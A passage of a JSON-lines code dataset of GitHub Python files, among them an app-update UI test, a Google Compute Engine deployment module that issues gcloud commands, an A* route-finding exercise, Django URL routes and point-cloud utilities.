log)\n\t\t\t\ttryNum += 1\n\t\t\t\tif tryNum == 3:\n\t\t\t\t\tis_downloading = False\n\t\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tis_downloading = True\n\t\texcept:\n\t\t\tis_downloading = False\n\t\tassert is_downloading, '未能正常开始下载'\n\t\tlog.info('更新提醒开始下载')\n\n\n\t@pytest.mark.incremental\n\tdef test_is_downloaded_finished(self, log):\n\t\ttry:\n\t\t\tif wait(Template(r\"tpl1570780317693.png\", record_pos=(0.246, 0.8), resolution=(1080, 1920)), timeout=300, interval=10):\n\t\t\t\tis_downloaded_finished = True\n\t\texcept:\n\t\t\tsnapshot('G:\\\\Airtest\\\\test_upadte.air\\\\' + channelName + '_下载失败.png')\n\t\t\tis_downloaded_finished = False\n\t\tassert is_downloaded_finished, '下载失败或超时'\n\t\tlog.info('新版本下载成功')\n\n\nif __name__ == '__main__':\n\tGet_config.get_devices()\n\tmy_cmd = '--apkName'\n\tfor apkName in Get_config().get_apks_name():\n\t\tcmd_content = apkName\n\t\tchannelName = Get_config.get_channel_name(apkName)\n\t\tcmd_report = '--html=./report/' + channelName + '_report.html'\n\t\tpytest.main(['-p', 'no:warnings', '-s', '-v', my_cmd, cmd_content, 'test_updateCheck_pytest.py', cmd_report])\n\n\n\n","repo_name":"congzheng-git/myProject","sub_path":"Test_UpdateCheck_byPytest/test_updateCheck_inGame_pytest.py","file_name":"test_updateCheck_inGame_pytest.py","file_ext":"py","file_size_in_byte":9332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37173514785","text":"from unittest import TestCase\nimport pandas as pd\n\nfrom elmo_on_md.data_loaders.sentiment_loader import SentimentLoader\n\nclass TestSentimentLoader(TestCase):\n def test_load_data(self):\n data = SentimentLoader().load_data()\n self.assertGreater(len(data['train']['sentences']), 0)\n self.assertEqual(len(data['train']['labels']), len(data['train']['sentences']))\n\n def test__read_sentence(self):\n sentence ='שלום עולם!\\t1'\n loader = SentimentLoader()\n (tokens,label)=loader._read_sentence(sentence)\n self.assertEqual(len(tokens),2)\n self.assertEqual(label,1)\n\n","repo_name":"idanbrus/ELMoOnMD","sub_path":"elmo_on_md/data_loaders/tests/test_SentimentLoader.py","file_name":"test_SentimentLoader.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"19994265655","text":"from builtins import map\nfrom builtins import str\nfrom hashlib import sha1\nimport re\nimport json\nimport yaml\nimport subprocess\nimport os\nimport logging\nimport time\nfrom stallion import util\nfrom stallion.components.base import BaseComponent\nfrom stallion.auth import Authorizer\nfrom stallion.deploy.base import \\\n BaseVersionedArtifactDeployer, \\\n ServiceVersion\nfrom .autoscaling import AutoscalingManager\n\n\nclass GCEServiceVersion(ServiceVersion):\n def __init__(self, instance):\n base_instance_name = instance['baseInstanceName']\n\n (version, timestamp) = (None, None) if 'instanceTemplate' not in instance \\\n else self.version_from_template_name(\n os.path.basename(instance['instanceTemplate']),\n base_instance_name)\n\n super(GCEServiceVersion, self).__init__(\n service_name=base_instance_name,\n version=version if version else None)\n\n self.instance = instance\n\n\n is_active = True\n\n @staticmethod\n def version_from_template_name(template_name, base_instance_name):\n \"\"\" Determine the deployed code version from the instance template\n name. Requires the instance template name to be of the format\n $BASE_INSTANCE_NAME-$CODE_SEMVER-$TIMESTAMP, although the SEMVER\n is assembled with '-' between fields rather than '.'.\n\n Returns tuples of the form ($SEMVER, $TIMESTAMP).\n\n :param template_name: name of the instance template\n :type template_name: string\n :param base_instance_name: base instance name, returned by GCE API\n :type base_instance_name: string\n \"\"\"\n name_pattern = base_instance_name + '-(([0-9]+-){3})([a-zA-Z0-9-]+-)?([0-9]+)'\n if not template_name.startswith(base_instance_name):\n logging.debug('Instance template name %s does not start with '\n 'base instance name %s; cannot determine instance'\n ' template version',\n base_instance_name,\n template_name)\n return (None, None)\n\n match = re.match(name_pattern, template_name)\n if not match:\n logging.debug(\n 'Unrecognized template version %s for instance '\n 'template %s: not of the format $SEMVER-$TIMESTAMP',\n template_name[1+len(base_instance_name):],\n template_name)\n return (None, None)\n\n major_minor_patch = match.group(1).rstrip('-').replace('-', '.')\n prerelease = match.group(3)\n semver = '-'.join([_f for _f in [major_minor_patch, prerelease] if _f]).rstrip('-')\n\n timestamp = int(match.group(4))\n\n logging.info(\n 'Parsed template name %s to service version %s, timestamp %d',\n template_name,\n semver,\n timestamp)\n\n return (semver, timestamp)\n\n\nclass ComputeEngineDeployer(BaseVersionedArtifactDeployer):\n type = 'gce'\n\n deploy_files = [ 'cloud-init.yaml' ]\n\n # Experimental feature. That URI will have to be defined elsewhere.\n def get_deployment_uri(self, component, versioned=False):\n host_prefix = '{app_name}-dot-{project_id}'.format(\n app_name = component.name,\n project_id = self.project_id)\n\n if versioned:\n encoded_version = util.encode_version(component.code_version)\n host_prefix = encoded_version + '-dot-' + host_prefix\n\n return 'https://' + host_prefix + '-dot-us-central1.etsycloud.com'\n\n def get_deployed_versions(self, relevant_components):\n \"\"\" Find all deployed managed instance groups and the versions of\n their associated instance templates\n \"\"\"\n gcloud_args = [\n 'gcloud',\n 'compute',\n 'instance-groups',\n 'managed',\n 'list',\n '--format=json',\n '--project', self.project_id ]\n\n result = json.loads(subprocess.check_output(gcloud_args).decode('utf-8'))\n\n return self.get_GCEServiceVersions_from_groups(result)\n\n @staticmethod\n def get_GCEServiceVersions_from_groups(result):\n return [ item for item in map(GCEServiceVersion, result) if item.version ]\n\n @classmethod\n def build_cloud_init_path(cls, component):\n return os.path.join(component.config_dir, 'cloud-init.yaml')\n\n @classmethod\n def build_service_version_name(cls, component):\n template_version = util.encode_version(component.code_version)\n timestamp = int(time.time()*1000)\n # The full instance group name may only be up to 61 characters long\n # The timestamp and the hyphen before it are 14 characters, so the\n # service name and version can be no longer than 47 characters\n name_and_version = \"{}-{}\".format(component.name, template_version)\n if len(name_and_version) > 47:\n name_and_version_hash = sha1(name_and_version.encode(\"utf-8\")).hexdigest()[:6]\n name_and_version = name_and_version[:40] + \"-\" + name_and_version_hash\n return \"{}-{}\".format(name_and_version, timestamp).lower()\n\n @staticmethod\n def instance_group_uri(project_id, component):\n zone_or_region_path = (\n 'regions/' + component.descriptor['gce']['region']\n ) if component.descriptor['gce'].get('zones') else (\n 'zones/' + component.descriptor['gce']['zone']\n )\n\n return 'https://www.googleapis.com/compute/v1/projects/{project}/{zone_or_region}/instanceGroupManagers/{name}'.format(\n project = project_id,\n zone_or_region = zone_or_region_path,\n name = component.name\n )\n\n def _get_instance_group(self, component, session):\n response = session.get(\n self.instance_group_uri(self.project_id, component),\n timeout=10)\n\n if response.status_code < 300:\n return response.json()\n elif response.status_code == 404:\n logging.info('Instance group %s does not exist', component.name)\n return None\n\n response.raise_for_status()\n\n @staticmethod\n def instance_template_uri(project, name):\n return 'https://www.googleapis.com/compute/v1/projects/{project}/global/instanceTemplates/{name}'.format(**locals())\n\n def _check_if_instance_template_exists(self, service_name, session):\n response = session.get(\n self.instance_template_uri(self.project_id, service_name),\n timeout=10)\n\n if response.status_code < 300:\n return True\n elif response.status_code == 404:\n return False\n\n response.raise_for_status()\n\n def _delete_instance_template(self, component, template_version, service_name):\n\n cmd = \"echo y | gcloud compute instance-templates delete {instance_template_name} --project {project}\".format(\n instance_template_name=service_name,\n project=self.project_id)\n\n return cmd\n\n def _build_network_config(self, config):\n def port_legacy_network():\n return [] if not config.get('default_network_uri') else [{\n 'network': config['default_network_uri'],\n 'subnet': config['default_subnetwork_uri'],\n 'no_address': True,\n }]\n\n def build_network_directive(network):\n return '--network-interface=network={network},subnet={subnet},no-address'.format(**network)\n\n networks = port_legacy_network() + config.get('network_interfaces', [])\n\n return ' '.join(map(build_network_directive, networks))\n\n def _create_instance_template(self, component: BaseComponent,\n cloud_init_path: str, template_version: str, service_name: str) -> str:\n\n config = component.descriptor['gce']\n\n pd_settings = ''\n pd = config.get('persistent_disk')\n if pd:\n pd_settings += '--disk=auto-delete=no,boot=no'\n pd_settings += ',device-name={}'.format(pd['device_name'])\n pd_settings += ',mode={}'.format(pd['mode'])\n pd_settings += ',name={}'.format(pd['name'])\n\n # If a reservation name is supplied, force the instance-template to use it.\n reservation_affinity_setting = ''\n reservation_name_setting = ''\n res_name = config.get('reservation_name')\n if res_name:\n reservation_affinity_setting += '--reservation-affinity=specific'\n reservation_name_setting += '--reservation={}'.format(res_name)\n\n cmd = \"gcloud beta compute instance-templates create \\\n {instance_template_name} \\\n --project={project} \\\n --region={region} \\\n --machine-type={machine_type} \\\n --boot-disk-size={boot_disk_size} \\\n --boot-disk-type=pd-standard \\\n --image-project=cos-cloud \\\n --image-family=cos-stable \\\n --tags={tags} \\\n --labels=code_version={version} \\\n --service-account={service_account} \\\n --scopes=https://www.googleapis.com/auth/cloud-platform \\\n {network_config} {persistent_disk} {reservation_affinity} {reservation_name} \\\n --metadata-from-file=user-data={cloud_init_path}\".format(\n instance_template_name = service_name,\n project = self.project_id,\n region = config['region'],\n machine_type = config['machine_type'],\n boot_disk_size = config['disk_size_gb'],\n network_config = self._build_network_config(config),\n persistent_disk = pd_settings,\n reservation_affinity = reservation_affinity_setting,\n reservation_name = reservation_name_setting,\n service_account = config['service_account'],\n version = template_version,\n tags = \",\".join(config['default_network_tags']),\n cloud_init_path = cloud_init_path)\n\n return cmd\n\n def _update_instance_group_if_needed(self, component, instance_group):\n \"\"\" Perform any necessary updates on the instance group. Right now,\n the only thing we support is changes to the instance group size\n \"\"\"\n config = component.descriptor['gce']\n\n if component.descriptor['gce'].get('autoscaling'):\n logging.info(\n 'Instance group %s: autoscaling is enabled; skipping group size check.',\n component.name)\n return ''\n\n # GCE refers to the 'targetSize' as opposed to the _actual_ size\n # of the instance group, in order to account for things like\n # autoscaling that can cause these things to be different.\n # For our manually-scaled instance groups, we'll refer to a\n # \"requested target size\", indicating that this is what we want GCE\n # to want the group size to be, if that makes sense...\n # We compare against GCE's actual target size and apply changes if\n # they do not match.\n requested_target_size = config['instance_group_size']\n actual_target_size = instance_group['targetSize']\n if actual_target_size == requested_target_size:\n return ''\n\n logging.info(\n 'Updating size of instance group %s from %d to %d',\n component.name,\n actual_target_size,\n requested_target_size)\n\n cmd = \"\"\"\n gcloud beta compute instance-groups managed resize \\\n {instance_group_name} \\\n --size {target_size} \\\n {zone_or_region} \\\n --project {project}\n \"\"\".format(\n instance_group_name=component.name,\n target_size=requested_target_size,\n zone_or_region=self._zone_or_region_arg(component),\n project=self.project_id)\n\n return cmd\n\n\n def _rolling_update_instance_template(self, component, instance_template_name, instance_group):\n \"\"\" Perform a rolling update of the existing instance group with the new template.\n See: https://cloud.google.com/compute/docs/instance-groups/updating-managed-instance-groups#starting_a_basic_rolling_update\n \"\"\"\n config = component.descriptor['gce']\n\n recreate_on_replace = config.get('recreate_on_replace', False)\n replace_method_arg = '--replacement-method=recreate' if recreate_on_replace else ''\n\n # Choose the max-surge parameter. Ideally we would set this as a fraction\n # of the instance group, and google does technically allow this, but only\n # for groups with > 10 instances. If this group is large enough, we'll\n # do that, otherwise, we'll set to the maximium of:\n # - the number of zones enabled (this is a hard minimum)\n # - the specified instance group size\n # - the actual instance group size\n # We don't generally expect to use very large instance groups, to deploy\n # very often, or for deploys to take much time, so we're not overly\n # concerned about the groups growing too big during the update.\n #\n # If we use the recreate replacement method, max_surge must be 0.\n # https://cloud.google.com/compute/docs/instance-groups/rolling-out-updates-to-managed-instance-groups#replacement_method\n\n max_surge = None\n if recreate_on_replace:\n max_surge = 0\n elif instance_group.get('targetSize', 0) > 10:\n max_surge = '80%'\n else:\n max_surge = max(\n 1,\n len(config.get('zones', [])),\n config.get('instance_group_size', 1),\n instance_group.get('targetSize', 1)\n )\n\n # If using recreate_on_replace set max_unavailable to 1, basically stopping an\n # instance, bringing a new one up, and then moving on to the next in the group.\n #\n # Otherwise, set the maxUnavailable parameter to 0, which will prevent GCE from\n # allowing a state in which no instances are available for querying\n # (we believe that we have entered such a state in the past when we\n # have rolled updates to instance groups containing only 1 instance,\n # or only 1 instance per zone). Note that the only apparent downside\n # to setting this to 0 is that this maximizes the size of the\n # instance group during the rolling update. But generally our instance\n # groups are all quite small, so this seems like it should not create\n # any real problems?\n # Make this a variable so that we can easily add more logic to it at\n # some future time.\n # see: https://cloud.google.com/compute/docs/instance-groups/rolling-out-updates-to-managed-instance-groups#max_unavailable\n max_unavailable = 1 if recreate_on_replace else 0\n\n cmd = \"\"\"\n gcloud beta compute instance-groups managed \\\n rolling-action start-update {instance_group_name} \\\n --version template={instance_template_name} \\\n --max-surge {max_surge} \\\n --max-unavailable {max_unavailable} \\\n {zone_or_region} \\\n {replacement} \\\n --project {project}\n \"\"\".format(instance_group_name=component.name,\n instance_template_name=instance_template_name,\n replacement=replace_method_arg,\n max_surge=max_surge,\n max_unavailable=max_unavailable,\n zone_or_region = self._zone_or_region_arg(component),\n project=self.project_id)\n\n return cmd\n\n @staticmethod\n def _zone_or_region_arg(component):\n config = component.descriptor['gce']\n\n if config.get('zone'):\n return '--zone ' + config['zone']\n else:\n return '--region ' + config['region']\n\n def _create_instance_group(self, component, service_name):\n # if creating a regional group, we must pass --zones as a separate\n # comma-separated parameter. So construct it as an optional parameter\n # (that is empty if not used) and include it in the template.\n optional_zones = ''\n if component.descriptor['gce'].get('zones'):\n optional_zones = '--zones ' + ','.join(\n component.descriptor['gce'].get('zones', [])\n )\n\n autohealing_settings = []\n autohealing = component.descriptor['gce'].get('autohealing')\n if autohealing:\n autohealing_settings += [\n '--health-check', autohealing['health_check_name']\n ]\n\n initial_delay = autohealing.get('initial_delay_sec')\n if initial_delay is not None:\n autohealing_settings += [\n '--initial-delay', str(initial_delay)\n ]\n\n cmd = \"\"\"\n gcloud compute instance-groups managed create \\\n {instance_group_name}\\\n --project={project} \\\n --template={instance_template_name}\\\n --size {instance_group_size} \\\n {zone_or_region} {optional_zones} \\\n {optional_autohealing_config}\"\"\".format(\n project=self.project_id,\n instance_group_name=component.name,\n instance_template_name=service_name,\n instance_group_size=component.descriptor['gce']['instance_group_size'],\n zone_or_region=self._zone_or_region_arg(component),\n optional_zones=optional_zones,\n optional_autohealing_config=' '.join(autohealing_settings))\n\n return cmd\n\n def _attach_load_balancer_to_instance_group(self, component):\n instance_group_region_or_zone = None\n if component.descriptor['gce'].get('zones'):\n instance_group_region_or_zone = (\n '--instance-group-region ' + component.descriptor['gce']['region']\n )\n else:\n instance_group_region_or_zone = (\n '--instance-group-zone ' + component.descriptor['gce']['zone']\n )\n\n cmd = \"\"\"\n gcloud compute backend-services add-backend {backend_name} \\\n --project {project} \\\n --instance-group {instance_group_name} \\\n {instance_group_region_or_zone} \\\n --region us-central1 \\\n --balancing-mode CONNECTION\n \"\"\".format(project=self.project_id,\n backend_name=component.name,\n instance_group_name=component.name,\n instance_group_region_or_zone=instance_group_region_or_zone)\n\n return cmd\n\n def build_gcloud_deploy_args(self, component, tmp_cloud_init_path, session, delete_template = False):\n template_version = util.encode_version(component.code_version)\n service_name = self.build_service_version_name(component)\n\n gcloud_args = []\n\n if delete_template and self._check_if_instance_template_exists(service_name, session):\n gcloud_args.append(self._delete_instance_template(\n component,\n template_version,\n service_name ))\n\n gcloud_args.append(self._create_instance_template(\n component,\n tmp_cloud_init_path,\n template_version,\n service_name ))\n\n instance_group = self._get_instance_group(component, session)\n if instance_group:\n gcloud_args.append(self._update_instance_group_if_needed(component, instance_group))\n gcloud_args.append(self._rolling_update_instance_template(component, service_name, instance_group))\n else:\n gcloud_args.append(self._create_instance_group(component, service_name))\n gcloud_args.append(self._attach_load_balancer_to_instance_group(component))\n\n return [self.prettify_output(arg) for arg in gcloud_args]\n\n def _needs_stable_wait(self, component):\n return component.descriptor['gce'].get('recreate_on_replace', False)\n\n def _create_stable_wait_command(self, component):\n zone_or_region_arg = None\n if component.descriptor['gce'].get('zones'):\n zone_or_region_arg = (\n '--region=' + component.descriptor['gce']['region']\n )\n else:\n zone_or_region_arg = (\n '--zone=' + component.descriptor['gce']['zone']\n )\n\n cmd = \"\"\"\n gcloud --project {project} \\\n compute instance-groups managed wait-until --stable \\\n --timeout=420 \\\n {instance_group_name} \\\n {zone_or_region_arg}\n \"\"\".format(project=self.project_id,\n instance_group_name=component.name,\n zone_or_region_arg=zone_or_region_arg)\n\n return cmd\n\n def _run_gcloud_deploy_args(self, gcloud_args, workdir):\n for arg in gcloud_args:\n subprocess.check_call(arg, cwd=workdir, shell=True)\n\n def _deploy_with_rendered_cloud_init_yaml(\n self,\n component,\n rendered_cloud_init_yaml,\n dry_run,\n workdir,\n session):\n\n logging.info(\n 'Deploying gce service %s: %s',\n component.name,\n component.code_version)\n\n tmp_cloud_init_path = os.path.join(workdir, 'cloud-init.yaml')\n with open(tmp_cloud_init_path, 'w') as _out:\n _out.write(rendered_cloud_init_yaml)\n\n gcloud_args = self.build_gcloud_deploy_args(\n component,\n tmp_cloud_init_path,\n session)\n\n if dry_run:\n logging.info(' dry run: Skipping execution of gcloud command `%s`', gcloud_args)\n return\n\n try:\n logging.info('Running these gcloud commands `%s`', gcloud_args)\n self._run_gcloud_deploy_args(gcloud_args, workdir)\n\n except Exception as e:\n logging.warning(\"Building gcloud deploy args failed with error {}. Deleting {} template and trying again\".format(\n e, component.name))\n\n gcloud_args = self.build_gcloud_deploy_args(\n component,\n tmp_cloud_init_path,\n session,\n delete_template = True)\n\n self._run_gcloud_deploy_args(gcloud_args, workdir)\n\n if self._needs_stable_wait(component):\n logging.info('Waiting for instance group to become stable')\n wait_cmd = self._create_stable_wait_command(component)\n logging.info('Executing wait command `%s`', self.prettify_output(wait_cmd))\n self._run_gcloud_deploy_args([wait_cmd], workdir)\n\n def _validate_cloud_init_yaml(self, component, rendered_cloud_init_yaml):\n \"\"\" For now, just do some simple validation: make sure that the\n rendered cloud_init.yaml file is a valid yaml file. It is\n conceivable that we could add more rigorous checks in the\n future, especially if we apply more standardized structure to the\n cloud-init.yaml files.\n \"\"\"\n loaded = yaml.safe_load(rendered_cloud_init_yaml)\n\n def _do_deploy(self, component, existing_versions, workdir, dry_run):\n rendered_cloud_init_yaml = self._render_config_template(\n component=component,\n template_path=self.build_cloud_init_path(component))\n\n self._validate_cloud_init_yaml(component, rendered_cloud_init_yaml)\n\n # We are gradually moving all of this away from making subprocess\n # calls to gcloud, in favor of direct API calls. So, create an\n # authorized requests session.\n session = (\n Authorizer.read_only() if dry_run else Authorizer.read_write()\n ).get_access_session()\n\n self._deploy_with_rendered_cloud_init_yaml(\n component = component,\n rendered_cloud_init_yaml = rendered_cloud_init_yaml,\n dry_run = dry_run,\n workdir = workdir,\n session = session)\n\n # If we've made it here, then the instance group was created\n # and/or updated successfully, and now we have to apply the autoscaler\n # settings, in case they have changed.\n\n AutoscalingManager(self.project_id, session).update_autoscaler(component, dry_run)\n","repo_name":"chumomega/recursive-fun","sub_path":"venv/lib/python3.8/site-packages/stallion/deploy/gce/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":25175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"4848683164","text":"# -*- coding: utf-8 -*-\n\nimport megabox\n\ndata = megabox.getBookingMovieListIDByDate(\"20200219\")\n\nusers_tag = [\n\t{\n\t'user' : 'Alex',\n\t'tags' : [\n\t\t'러브라이브 선샤인',\n\t\t'First LOVELIVE',\n\t]},\n\t{\n\t'user' : 'Kim',\n\t'tags' : [\n\t\t'First LOVELIVE',\n\t\t'러브라이브 선샤인',\n\t]},\n]\n\n#print(megabox.addMovieDate(data, users_tag))\n#print(megabox.getCinemas(\"20200223\",\"20004000\"))\nprint(megabox.getSeatCount(\"20200223\",\"20004000\",\"1003\"))\n\n'''\n\nparam\n\nuser_tag = {\n\t'user' : 'xxxx',\n\t'tags' : [\n\t\t'yyyyx',\n\t\t'yyyyy',\n\t\t...\n\t]\n}\n\nreturn_value\n\nuser_value = [\n\t{\n\t\t'user' : 'xxxxxx',\n\t\t'search_result' : [\n\t\t\t{'movieNo': '20004000', 'movieNm': 'yyyyy'}\n\t\t]\n\t},\n\t{\n\t\t'user' : 'xxxxxy',\n\t\t'search_result' : [\n\t\t\t{'movieNo': '20004000', 'movieNm': 'yyyyy'}\n\t\t]\n\t},\n\t...\n]\n\n'''","repo_name":"tlqaksqhr/MegaboxNotifier","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38155168504","text":"from django.contrib import admin\nfrom django.urls import path\nfrom tasks.views import (view_add_task, view_all_completed_task, view_all_task,\n view_completed_task, view_delete_task, view_task)\n\nurlpatterns = [\n path(\"admin/\", admin.site.urls),\n path(\"complete_task//\", view_completed_task),\n path(\"completed_tasks/\", view_all_completed_task),\n path(\"all_tasks/\", view_all_task),\n path(\"tasks/\",view_task),\n path(\"add-task/\",view_add_task),\n path(\"delete-task//\",view_delete_task),\n]\n","repo_name":"kunatastic/yeah-django","sub_path":"level5/task_manager/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14583228351","text":"# Q2 \n# imports\nimport json\nimport math\n\nclass Graph:\n '''\n Graphs Object Class\n @param self.graph_dict: dict\n @param self.directed: bool\n '''\n def __init__(self, graph_dict=None, directed=True):\n self.graph_dict = graph_dict or {}\n self.directed = directed\n if not directed:\n self.make_undirected()\n\n def make_undirected(self):\n '''\n Create an undirected graph\n @param self: Graph\n '''\n for a in list(self.graph_dict.keys()):\n for (b, dist) in self.graph_dict[a].items():\n self.graph_dict.setdefault(b, {})[a] = dist\n \n def connect(self, A, B, distance=1):\n '''\n Given the distance, connect the nodes A and B\n If undirected, add the inverse link between A and B\n @param self: Graph\n '''\n self.graph_dict.setdefault(A, {})[B] = distance\n if not self.directed:\n self.graph_dict.setdefault(B, {})[A] = distance\n \n def get(self, a, b=None):\n '''\n Gets neighbours of the node\n @param self: Graph\n '''\n links = self.graph_dict.setdefault(a, {})\n if b is None:\n return links\n else:\n return links.get(b)\n\n def nodes(self):\n '''\n Return a list of nodes in the graph\n @param self: Graph\n '''\n s1 = set([k for k in self.graph_dict.keys()])\n s2 = set([k2 for v in self.graph_dict.values() for k2, v2 in v.items()])\n nodes = s1.union(s2)\n return list(nodes)\n \n\nclass Node:\n '''\n A node class for the station\n @param self.name: str\n @param self.parent: str\n ''' \n \n def __init__(self, name:str, parent:str):\n self.name = name\n self.parent = parent\n self.g = 0 # Distance to the start node (point)\n self.h = 0 # Distance to the end node (point)\n self.f = 0 # Total cost\n \n def __eq__(self, other):\n '''\n Compare nodes\n @param self: Node\n '''\n return self.name == other.name\n\n def __lt__(self, other):\n '''\n Sort nodes\n @param self: Node\n '''\n return self.f < other.f\n\n def __repr__(self):\n '''\n Print nodes\n @param self: Node\n '''\n return ('({0},{1})'.format(self.name, self.f))\n\ndef read_file(filename):\n '''\n Reads .json file and returns contents\n @param myParam1: str\n @return: dict\n '''\n with open(filename, \"r\") as myfile:\n content = json.load(myfile)\n return content \n \ndef makegraph(filename):\n '''\n Creates graph structure and defines nodes from .json file\n @param myParam1: str\n @return: Graph\n '''\n content = read_file(filename)\n graph = Graph()\n node_dict = {}\n [val_list] = content.values()\n for i in range(0, len(val_list)):\n node_dict[val_list[i][\"Name\"]] = val_list[i][\"Neighbours\"]\n\n for each_node in node_dict:\n for each_neighbour in node_dict[each_node]:\n graph.connect(each_node, each_neighbour[\"Name\"], each_neighbour[\"Distance\"])\n \n graph.make_undirected()\n \n return graph\n\n# A* search\ndef astar_search(graph, heuristics, start, end):\n '''\n Returns the shortest path and its distance from the startpoint to the endpoint\n '''\n open = [] # open nodes list\n closed = [] # closed nodes list\n\n start_node = Node(start, None) # start node (startpoint)\n goal_node = Node(end, None) # end node (endpoint)\n\n open.append(start_node) # append the start node\n \n # Loop until there are no other nodes in the open list\n while len(open) > 0:\n\n open.sort() # sort to determine the closest node\n \n current_node = open.pop(0) # node with the shortest distance\n \n closed.append(current_node) # append to the closed list\n \n # if reached the end node, return the path\n if current_node == goal_node:\n path = []\n while current_node != start_node:\n path.append(current_node.name + ': ' + str(current_node.g))\n current_node = current_node.parent\n path.append(start_node.name + ': ' + str(start_node.g))\n\n return path[::-1] # reversed path\n \n # Get neighbours\n neighbors = graph.get(current_node.name)\n\n # Looping neighbors\n for key, value in neighbors.items():\n \n neighbor = Node(key, current_node) # Create a neighbor node\n \n # if the neighbor is in the closed list, just continue\n if(neighbor in closed): \n continue\n\n # Calculate the full distance\n neighbor.g = current_node.g + graph.get(current_node.name, neighbor.name)\n neighbor.h = heuristics.get(neighbor.name)\n neighbor.f = neighbor.g + neighbor.h\n \n # Check if neighbor is in the open list and has a lower total cost\n if(add_to_open(open, neighbor) == True):\n open.append(neighbor)\n \n return None # no path found\n\n# Check if a neighbor should be added to the open list\ndef add_to_open(open, neighbor):\n for node in open:\n if (neighbor == node and neighbor.f > node.f):\n return False\n return True\n\ndef cartesian_distance(x_1,y_1,x_2,y_2):\n return math.sqrt((x_2 - x_1)**2 + (y_2 - y_1)**2)\n\ndef calc_heuristic(filename, startpoint, endpoint):\n \n coordinates = {}\n data = read_file(filename)[\"Nodes\"]\n for i in data:\n coordinates.update({i[\"Name\"]:i[\"Coordinates\"]})\n \n heuristics = {}\n for key, value in coordinates.items():\n approx = cartesian_distance(value[0],value[1],coordinates[endpoint][0],coordinates[endpoint][1])\n heuristics.update({key:approx})\n \n return heuristics\n\ndef conditions(filename1, filename2):\n graph = makegraph(filename2) #making the graph\n ofile = open(\"2.out\",\"w\") #output file\n\n myfile = open(filename1, \"r\")\n lines = myfile.readlines()\n lst = [line.rstrip(\"\\n\") for line in lines]\n output = [element.split(',') for element in lst]\n for i in output:\n estimate = calc_heuristic(filename2, i[0], i[1])\n path = astar_search(graph, estimate, i[0], i[1]) #gives in form ['location:distance', etc...]\n stops = [location.split(': ') for location in path]\n #splits into [['location','distance'],etc...]\n for j in stops:\n ofile.write(j[0]+\", \") #writes all the locations\n ofile.write(stops[-1][1]+\"\\n\") #writes the total distance\n\n \n# Driver Code\nif __name__ == \"__main__\":\n conditions(\"2.in\", \"2.json\")\n","repo_name":"donmin062501/UTEK2021","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":6601,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"29368022401","text":"\"\"\"\nNew.secondary utils\nData_Analysis.Visualisation is added.\n\"\"\"\n\nimport random\nimport argparse\nimport numpy as np\nimport glob\nimport utils.utils1 as utils\nimport os\nimport pandas as pd\nimport utils.data_utils2 as datatools\nfrom colorama import Fore, Back, Style\nimport argparse\nfrom utils.data_utils2 import use_root_dir\n\n\n# import open3d as o3d\n\n\ndef load_single_point_cloud(healthy_status, stage_spec, phase_spec, ventricle_spec, case_id=12345,\n reduce_size=3, is_random=False):\n \"\"\"\n This function returns a loaded 3D point cloud based on the case id provided.\n Or it randomly chooses a point cloud.\n :return:\n \"\"\"\n dir_wanted = utils.get_ventricle_dir(healthy_status, stage_spec, phase_spec, ventricle_spec)\n file_list = glob.glob(dir_wanted + '/*.npy')\n n = random.randint(0, len(file_list))\n if is_random:\n for i, file_name in enumerate(file_list):\n if i == n:\n id_here = read_id(file_name)\n print('Case id: ', id_here)\n return utils.reduce_pc_size(np.load(file_name), reduce_size)\n for file_name in file_list:\n id_here = read_id(file_name)\n if id_here == case_id:\n return utils.reduce_pc_size(np.load(file_name), reduce_size)\n\n\ndef readXYZ(filename, delimiter=','):\n xs = []\n ys = []\n zs = []\n f = open(filename, 'r')\n line = f.readline()\n N = 0\n while line:\n x, y, z = line.split(delimiter)[0:3]\n x, y, z = float(x), float(y), float(z)\n xs.append(x)\n ys.append(y)\n zs.append(z)\n line = f.readline()\n N += 1\n f.close()\n xs = np.array(xs).reshape(N, 1)\n ys = np.array(ys).reshape(N, 1)\n zs = np.array(zs).reshape(N, 1)\n points = np.concatenate((xs, ys, zs), axis=1)\n return points\n\n\n# def visualize_PC(point_cloud):\n# \"\"\"\n# This function visualize the input point cloud.\n# :param point_cloud: shape in the form of tensors.\n# :return:\n# \"\"\"\n# sample_heart = point_cloud.permute(1, 0)\n# sample_heart = utils.to_numpy(sample_heart)\n# pcd = o3d.geometry.PointCloud()\n# pcd.points = o3d.utility.Vector3dVector(sample_heart)\n# o3d.visualization.draw_geometries([pcd])\n\n\n# def visualize_ds(ds):\n# sample = ds[0]\n# sample_PC = sample[0]\n# visualize_PC(sample_PC)\n\n\ndef get_people_with_disease(n_disease, disease_metadata, include=True):\n \"\"\"\n This function returns cases with a certain number of diseases.\n n_disease: number of diseases\n disease_metadata: pandas dataframe of disease metadata file\n \"\"\"\n out_list = [] # List with all the cases\n index_list = [] # List with all indices of the cases\n for i, row in disease_metadata.iterrows():\n case_id = row[0]\n list_for_count = pd.isna(row)\n disease_count = -1\n for is_na in list_for_count:\n if not is_na:\n disease_count += 1\n else:\n break\n if include:\n if disease_count <= n_disease:\n out_list.append(str(int(case_id)))\n index_list.append(i)\n else:\n if disease_count == n_disease:\n out_list.append(str(int(case_id)))\n index_list.append(i)\n\n return out_list\n\n\ndef count_0_and_1(labels):\n count0 = 0\n count1 = 0\n for label in labels:\n if int(label) == 1:\n count1 += 1\n elif int(label) == 0:\n count0 += 1\n else:\n print('Error: label not equal to 0 or 1')\n return count0, count1\n\n\ndef count_0_and_1_print(labels):\n count0 = 0\n count1 = 0\n for label in labels:\n if int(label) == 1:\n count1 += 1\n elif int(label) == 